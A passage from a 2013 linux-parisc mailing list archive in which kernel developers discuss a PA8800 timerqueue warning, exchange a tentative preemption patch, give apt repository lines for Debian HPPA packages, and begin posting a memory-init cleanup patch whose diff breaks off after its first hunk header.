X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.12; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4862>

On Wed, 20 Mar 2013 18:27:56 +0100
Jeroen Roovers <jer@gentoo.org> wrote:

> > -# CONFIG_SLAB is not set
> > -CONFIG_SLUB=y
> > +CONFIG_SLAB=y
> > +# CONFIG_SLUB is not set
> > +# CONFIG_SLOB is not set

> All of the above are changed by just this change:

Except SLAB/SLOB/SLUB, of course.


      jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at lib/timerqueue.c:74
Date: Wed, 20 Mar 2013 16:12:42 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <514A183A.7090809@bell.net>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net> <BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl> <20130318135831.7c14b6e7@marga.jer-c2.orkz.net> <5148E903.1020105@gmx.de> <20130320182756.7b0e4f5d@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363811744 4036 80.91.229.3 (20 Mar 2013 20:35:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Mar 2013 20:35:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 20 21:36:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UIPk0-0003pr-Uu
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Mar 2013 21:36:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752702Ab3CTUfo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Mar 2013 16:35:44 -0400
Original-Received: from mail17.primus.ca ([216.254.141.184]:42182 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752541Ab3CTUfo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Mar 2013 16:35:44 -0400
X-Greylist: delayed 1462 seconds by postgrey-1.27 at vger.kernel.org; Wed, 20 Mar 2013 16:35:44 EDT
Original-Received: from 209-197-144-234.cpe.distributel.net ([209.197.144.234] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1UIPM1-00016Y-2Y; Wed, 20 Mar 2013 16:11:21 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130307 Thunderbird/17.0.4
In-Reply-To: <20130320182756.7b0e4f5d@marga.jer-c2.orkz.net>
X-Authenticated: danglin-lux@magma.ca - 209-197-144-234.cpe.distributel.net ([192.168.0.181]) [209.197.144.234]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4863>

On 3/20/2013 1:27 PM, Jeroen Roovers wrote:
> +CONFIG_PREEMPT_NONE=y
Given that CONFIG_PREEMPT is broken, we must be missing at least one
preempt_disable()/preempt_enable() pair.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at lib/timerqueue.c:74
Date: Wed, 20 Mar 2013 22:02:55 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <BLU0-SMTP790A969254E562667034B397EB0@phx.gbl>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net> <BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl> <20130318135831.7c14b6e7@marga.jer-c2.orkz.net> <5148E903.1020105@gmx.de> <20130320182756.7b0e4f5d@marga.jer-c2.orkz.net> <514A183A.7090809@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-5--1022881206"
X-Trace: ger.gmane.org 1363831416 18437 80.91.229.3 (21 Mar 2013 02:03:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Mar 2013 02:03:36 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 21 03:04:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UIUrI-0008AX-5j
	for glpp-linux-parisc@plane.gmane.org; Thu, 21 Mar 2013 03:04:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754169Ab3CUCDg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Mar 2013 22:03:36 -0400
Original-Received: from blu0-omc4-s21.blu0.hotmail.com ([65.55.111.160]:8178 "EHLO
	blu0-omc4-s21.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753775Ab3CUCDg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Mar 2013 22:03:36 -0400
Original-Received: from BLU0-SMTP79 ([65.55.111.137]) by blu0-omc4-s21.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 20 Mar 2013 19:03:35 -0700
X-EIP: [KT7ON+Fn43pUIVmlKA/cxuJ/EMrvJjl0]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.165]) by BLU0-SMTP79.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 20 Mar 2013 19:03:34 -0700
In-Reply-To: <514A183A.7090809@bell.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 21 Mar 2013 02:03:34.0736 (UTC) FILETIME=[4B552D00:01CE25D8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4864>

--Apple-Mail-5--1022881206
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 20-Mar-13, at 4:12 PM, John David Anglin wrote:

> On 3/20/2013 1:27 PM, Jeroen Roovers wrote:
>> +CONFIG_PREEMPT_NONE=y
> Given that CONFIG_PREEMPT is broken, we must be missing at least one
> preempt_disable()/preempt_enable() pair.


You might try the attached change.  My rp3440 booted with  
CONFIG_PREEMPT=y
and CONFIG_PREEMPT_NONE=y with it.  The fix is just a guess.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-5--1022881206
Content-Disposition: attachment; filename="linux-3.9-rc3-20130320.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-3.9-rc3-20130320.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 4b12890..1871724 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -372,10 +372,12 @@ void flush_kernel_dcache_page_addr(void *addr)
 {
 	unsigned long flags;
 
+	preempt_disable();
 	flush_kernel_dcache_page_asm(addr);
 	purge_tlb_start(flags);
 	pdtlb_kernel(addr);
 	purge_tlb_end(flags);
+	preempt_enable();
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 

--Apple-Mail-5--1022881206--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at
 lib/timerqueue.c:74
Date: Thu, 21 Mar 2013 15:57:04 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20130321155704.7aeaf169@marga.jer-c2.orkz.net>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
	<BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl>
	<20130318135831.7c14b6e7@marga.jer-c2.orkz.net>
	<5148E903.1020105@gmx.de>
	<20130320182756.7b0e4f5d@marga.jer-c2.orkz.net>
	<514A183A.7090809@bell.net>
	<BLU0-SMTP790A969254E562667034B397EB0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363877835 18949 80.91.229.3 (21 Mar 2013 14:57:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Mar 2013 14:57:15 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 21 15:57:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UIgvu-00061e-P5
	for glpp-linux-parisc@plane.gmane.org; Thu, 21 Mar 2013 15:57:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753472Ab3CUO5K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Mar 2013 10:57:10 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:42545 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754583Ab3CUO5K (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Mar 2013 10:57:10 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 6AAB233D83B;
	Thu, 21 Mar 2013 14:57:08 +0000 (UTC)
In-Reply-To: <BLU0-SMTP790A969254E562667034B397EB0@phx.gbl>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.12; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4865>

On Wed, 20 Mar 2013 22:02:55 -0400
John David Anglin <dave.anglin@bell.net> wrote:

> On 20-Mar-13, at 4:12 PM, John David Anglin wrote:
> 
> > On 3/20/2013 1:27 PM, Jeroen Roovers wrote:
> >> +CONFIG_PREEMPT_NONE=y
> > Given that CONFIG_PREEMPT is broken, we must be missing at least one
> > preempt_disable()/preempt_enable() pair.
> 
> 
> You might try the attached change.  My rp3440 booted with  
> CONFIG_PREEMPT=y
> and CONFIG_PREEMPT_NONE=y with it.  The fix is just a guess.

That gave me the exact same error.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Did Squeeze ever make it to HPPA?
Date: Sat, 23 Mar 2013 23:04:51 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <514E2703.9000507@gmx.de>
References: <514C43F3.4040206@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1364076296 25392 80.91.229.3 (23 Mar 2013 22:04:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Mar 2013 22:04:56 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Kurt Fitzner <kurt.fitzner@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 23 23:05:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UJWYx-0000ZG-Ul
	for glpp-linux-parisc@plane.gmane.org; Sat, 23 Mar 2013 23:05:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752147Ab3CWWEz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Mar 2013 18:04:55 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60146 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752134Ab3CWWEz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Mar 2013 18:04:55 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MFfeF-1UVsMy3Wz7-00Eh5L for
 <linux-parisc@vger.kernel.org>; Sat, 23 Mar 2013 23:04:53 +0100
Original-Received: (qmail invoked by alias); 23 Mar 2013 22:04:53 -0000
Original-Received: from p54AD04EC.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.4.236]
  by mail.gmx.net (mp031) with SMTP; 23 Mar 2013 23:04:53 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19eNY4QaGpeFRPwynzjF/+KqK16FLinCfX/RnsOjc
	bSSs/JiQ+TD2G3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <514C43F3.4040206@gmail.com>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4867 gmane.linux.debian.ports.hppa:6812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4867>

Hi Kurt,

On 03/22/2013 12:43 PM, Kurt Fitzner wrote:
> I see on the PA-RISC Linux web site a note about Squeeze being worked on
> for HPPA.  I also see a few old discussions on the subject here.  Did
> this ever make it past the discussion stage?

Partly...

> Was there an HPPA testing back in Lenny, or just unstable?  What I am
> looking for, I suppose, is the most "squeeze-like" packages available.

- latest before-squeeze unstable packages were moved to debian-ports.org
- John David Anglin has continued to build current debian "unstable" packages
- I've provided a download-location at ftp.parisc-linux.org for those.

So, what you need to do is to drop other lines from your /etc/apt/sources.list file, and instead add those two lines:

deb ftp://ftp.de.debian.org/debian-ports unstable main
deb ftp://ftp.parisc-linux.org/debian-ports/unstable  unstable main

This will bring you up to debian-unstable (which is more like wheezy) for the most important packages.
If you miss specific packages, please let us know.

Dave and me are still hoping to be able to set up a buildd-server for parisc again.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Did Squeeze ever make it to HPPA?
Date: Sat, 23 Mar 2013 18:53:58 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <BLU0-SMTP73FA3D9E15C0195C11D97097D50@phx.gbl>
References: <514C43F3.4040206@gmail.com> <514E2703.9000507@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1364079279 17345 80.91.229.3 (23 Mar 2013 22:54:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Mar 2013 22:54:39 +0000 (UTC)
Cc: Kurt Fitzner <kurt.fitzner@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 23 23:55:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UJXL6-00007c-1t
	for glpp-linux-parisc@plane.gmane.org; Sat, 23 Mar 2013 23:55:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752185Ab3CWWyk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Mar 2013 18:54:40 -0400
Original-Received: from blu0-omc4-s26.blu0.hotmail.com ([65.55.111.165]:39522 "EHLO
	blu0-omc4-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752120Ab3CWWyj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Mar 2013 18:54:39 -0400
Original-Received: from BLU0-SMTP73 ([65.55.111.135]) by blu0-omc4-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 23 Mar 2013 15:54:38 -0700
X-EIP: [SucBCgBRaMD+gCRUcRAI51dNuAJSiLji]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.208]) by BLU0-SMTP73.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 23 Mar 2013 15:54:37 -0700
In-Reply-To: <514E2703.9000507@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 23 Mar 2013 22:54:37.0549 (UTC) FILETIME=[6514F9D0:01CE2819]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4868 gmane.linux.debian.ports.hppa:6813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4868>

On 23-Mar-13, at 6:04 PM, Helge Deller wrote:

> Hi Kurt,
>
> On 03/22/2013 12:43 PM, Kurt Fitzner wrote:
>> I see on the PA-RISC Linux web site a note about Squeeze being  
>> worked on
>> for HPPA.  I also see a few old discussions on the subject here.  Did
>> this ever make it past the discussion stage?
>
> Partly...
>
>> Was there an HPPA testing back in Lenny, or just unstable?  What I am
>> looking for, I suppose, is the most "squeeze-like" packages  
>> available.
>
> - latest before-squeeze unstable packages were moved to debian- 
> ports.org
> - John David Anglin has continued to build current debian "unstable"  
> packages
> - I've provided a download-location at ftp.parisc-linux.org for those.

I would really recommend going with the packages at ftp://ftp.parisc-linux.org/debian-ports/unstable
instead of the squeeze packages on debian-ports.org.  The dependencies  
are somewhat broken for
the stuff on debian-ports.org and great care is needed in installing  
these packages.  For example,
the udev package on debian-ports is a bootstrap breaker.  It might be  
that we could fill in the squeeze
port but it would be a fair bit of work.

>
> So, what you need to do is to drop other lines from your /etc/apt/ 
> sources.list file, and instead add those two lines:
>
> deb ftp://ftp.de.debian.org/debian-ports unstable main
> deb ftp://ftp.parisc-linux.org/debian-ports/unstable  unstable main

For unstable sources, add this line:

deb-src http://ftp.debian.org/debian/ unstable main contrib non-free

>
> This will bring you up to debian-unstable (which is more like  
> wheezy) for the most important packages.
> If you miss specific packages, please let us know.

I'm wondering if we should capture what we have as it's almost  
wheezy.  Soon unstable will start to
diverge for the next release.

You should be aware that I have not built the current kernel package  
as I we need the latest fixes
in the kernel.org tree.

>
> Dave and me are still hoping to be able to set up a buildd-server  
> for parisc again.

Without a buildd-server, it's a bit hard to tell what we are  
missing...  However, we currently have all
the major tool chains that have been ported to hppa.  Thus, most stuff  
can be built from source without
problems.  However, we have problems with openjdk and other similar  
packages that don't
support stack grows up.

>
> Helge


Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RFC PATCH v2, part4 26/39] mm/PARISC: prepare for removing num_physpages and simplify mem_init()
Date: Sun, 24 Mar 2013 15:25:10 +0800
Lines: 123
Approved: news@gmane.org
Message-ID: <1364109934-7851-45-git-send-email-jiang.liu@huawei.com>
References: <1364109934-7851-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1364110371 14266 80.91.229.3 (24 Mar 2013 07:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Mar 2013 07:32:51 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	David Rientjes <rientjes@google.com>
Original-X-From: owner-linux-mm@kvack.org Sun Mar 24 08:33:10 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1UJfQU-0002Jb-5J
	for glkm-linux-mm-2@m.gmane.org; Sun, 24 Mar 2013 08:33:10 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D7F3E6B00B2; Sun, 24 Mar 2013 03:32:45 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id A422A6B00B4; Sun, 24 Mar 2013 03:32:45 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6841B6B00B5; Sun, 24 Mar 2013 03:32:45 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx164.postini.com [74.125.245.164])
	by kanga.kvack.org (Postfix) with SMTP id 691676B00B2
	for <linux-mm@kvack.org>; Sun, 24 Mar 2013 03:32:44 -0400 (EDT)
Original-Received: from mail-pd0-f176.google.com ([209.85.192.176]) (using TLSv1) by na3sys010amx164.postini.com ([74.125.244.10]) with SMTP;
	Sun, 24 Mar 2013 07:32:44 GMT
Original-Received: by mail-pd0-f176.google.com with SMTP id h6so399406pdn.21
        for <linux-mm@kvack.org>; Sun, 24 Mar 2013 00:32:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=QbF6qJqXV47ETdCawnKJhgOw5FZPAZwCfNf0n9HixVA=;
        b=jcMTX6d4mGh182E2ZW8Af4PcMiFZ5aEOl4psMIY08nmB2fsv0mUz4LrLaUPcOG5rfD
         IG/Qk7uohDzzKe6pRuqVlSirNq1tFM/81zPuYen4Of0xSz9B0dOh4s3Rv8OzZQYxRmVs
         T2LpzVuhEYKBc+l0j9jthgGDipk1uirlrorGd5NcNkpQqKJa4kMkByBtcT8lk0+lCQv+
         iAY2FGeRYmuhPFX3STw/oXzR6slkGp2A0ZMsUzlf/RET1NS0l6byXVt9Wcn37sTrOfZ4
         i8dmsKczVV/bt/Vm3twH+DBXK5yp4Tz2wlIwVNcprls+xR2LZ2K6BmWIUjtAczXt5wU4
         VACw==
X-Received: by 10.66.197.197 with SMTP id iw5mr11854345pac.89.1364110363652;
        Sun, 24 Mar 2013 00:32:43 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.246.175.231])
        by mx.google.com with ESMTPS id ce16sm9876553pac.5.2013.03.24.00.32.36
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 24 Mar 2013 00:32:43 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1364109934-7851-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 6/3/0.50/98
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:96721 gmane.linux.kernel:1462712 gmane.linux.ports.parisc:4869
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/96721>

Prepare for removing num_physpages and simplify mem_init().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c |   46 +++-------------------------------------------
 1 file changed, 3 insertions(+), 43 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1fe9d841..f80c175 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -214,7 +214,6 @@ static void __init setup_bootmem(void)
